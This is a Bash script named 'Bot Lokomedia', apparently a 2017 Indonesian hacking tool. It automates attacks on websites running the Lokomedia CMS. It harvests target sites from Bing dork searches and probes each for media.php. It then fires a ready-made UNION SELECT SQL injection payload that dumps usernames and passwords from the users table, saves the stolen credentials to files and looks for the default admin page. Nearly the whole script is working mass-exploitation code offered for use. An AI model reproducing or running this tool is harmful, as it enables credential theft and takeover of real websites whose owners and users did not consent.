Bot Lokomedia

#!/bin/bash
# c0ded by : shutdown57
# powered by www.alinko.jp

# COLOR | WARNA
m="\e[0;31m" # merah
k="\e[0;33m" # kuning
h="\e[0;32m" # hijau
b="\e[0;34m" # biru
lm="\e[1;31m" # merah terang
lk="\e[1;33m" # kuning terang
lh="\e[1;32m" # hijau terang
lb="\e[1;34m" # biru terang seterang masa depan kita.
n="\e[0m" # clear / netral
w="\e[1;37m" # putih tebal


xSimpanPacar(){
    touch $2
    chmod 777 $2
    echo $1 >> $2
}
xSimpanan(){
    mkdir OutputxS57 > /dev/null 2>&1
    chmod 777 OutputxS57
    touch OutputxS57/readme.txt
    echo "-[ shutdown57 ]-" > OutputxS57/readme.txt
    local uvuv=$(date +"%H%m%s")
    local name="OutputxS57/$uvuv-$1.txt"
    touch $name
    echo "+-[ INFO ]-+" >> $name
    echo "Site : $1 " >> $name
    echo $2 >> $name
    echo "+-[ END  ]-+" >> $name
    local cekfile=$(cat $name)
    if [[ -f $name && $cekfile != "" ]]; then
        xS57s " Result saved to : $name !"
    else
        xS57f " Failed Save Result :("
        echo $2
        echo "-----------------------"
    fi
}
bingDork(){
    local curl=`curl "http://www.bing.com/search?q=${2}&first=${1}1" -s`
    local gets=$(echo $curl | grep -Po "(?<=<h2><a href=\")[^\"]*")
    xS57i "-[ INFO ]-"
    xS57i "Dork : "$2
    xS57i "Page : "$1
    xS57i "R u n n i n g . . . ."
    for geturl in $gets
    do
        IFS="/" read -r -a url <<< "$geturl"
        xS57s ${url[2]}
        xSimpanPacar ${url[2]} $3
    done
}
FindAdminLokmed(){
    local adminpage="adminweb/"
    local ceklo=$(curl -s --connect-timeout 10 ${1}/$adminpage -D -)
    if [[ $ceklo =~ "200 OK" ]]; then
        xS57s "Found Default Adminpage : ${1}/$adminpage !"
    else
        xS57d "Not Found Default Adminpage :( ."
    fi
}
ExploitX(){
    injectable="/media.php?module=detailberita&id=.169+'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x23,username,0x3a574f533a,password,0x3c62723e)),@)--+"
    buaturi="${1}/${injectable}"
    cekhead=$(curl -s $buaturi --head)
    xS57i "I n j e c t i n g . . ."
    if [[ $cekhead =~ "200" ]]; then
        curl -s $buaturi | grep "WOS" > /dev/null 2>&1
        if [[ $? -eq 0 ]]; then
            xS57s "${1} -> INJECTED !"
            up=$(curl -s "${buaturi}" | grep -Po "(\#.*:WOS:.*\#)" | sed -e 's/:WOS:/Username:Password/g')
            xS57i "Getting Username & Password . . ."
            xSimpanan $1 $up
            xSimpanPacar $buaturi "result.txt"
            xS57i "Trying Find Default adminpage . . ."
            FindAdminLokmed $1
        else
            xS57d "${buaturi} -> FAILED"
        fi
    else
        xS57f "${1} -> ERROR ! | Detected WAF"
    fi
}
xS57i(){
    echo -e "${lb}[i] ${n} ${1}"
}
xS57t(){
    echo -e -n "${h}[?] ${n} ${1}"
    read $2
}
xS57f(){
    echo -e "${lm}[!] ${n} ${1}"
}
xS57d(){
    echo -e "${k}[!] ${n} ${1}"
}
xS57s(){
    echo -e "${lh}[+] ${n} ${1} "
}
InjectLokmed(){
    listsite=`cat $1`
    site=$(echo $listsite | tr "\n" "\n")
    for si in $site
    do
        xS57i "Checking ${si}/media.php?module=home for Exploit ..."
        local cek=$(curl -s --connect-timeout 10 ${si}/media.php?module=home -D -)
        if [[ $cek =~ "HTTP/1.1 200 OK" ]]; then
            xS57s "${si}/media.php?module=home -> 200 OK !"
            ExploitX $si
        else
            xS57d "${si}/media.php?module=home -> Not Vuln !"
        fi
    done
}

BannerxS57(){
    clear
printf "${lk}
                                          ${lh}  *${lk}
                                          ${lh} * *${lk}
     _       _     _               ___ ___${lh}* * *${lk}
 ___| |_ _ _| |_ _| |___ _ _ _ ___|  _|_  |${n} |${lk}
|_ -|   | | |  _| . | . | | | |   |_  | | |${n} |${lk}
|___|_|_|___|_| |___|___|_____|_|_|___| |_|${n} |${lh}
x-------------------------------------------X${n}
 X${lb} Bot Lokomedia xXx copyright (c) 2017${n} XxXx
  x-|${lm} powered by${w} www.alinko.jp ${n}|----------X
"
}
if [[ $1 == "" && $2 == "" && $3 == "" ]]; then
    BannerxS57
    printf "
Cara Menggunakan :
  $0 <dork> <NumPage> <SaveAs>
Contoh Penggunaan :
  $0 'semua-berita.html' '10' 'result.txt'

"
else
    BannerxS57
    for (( i = 0; i < $2; i++ )); do
        bingDork $i $1 $3 | tee -a BotLokomedia.log
    done
    InjectLokmed $3 | tee -a BotLokomedia.log
fi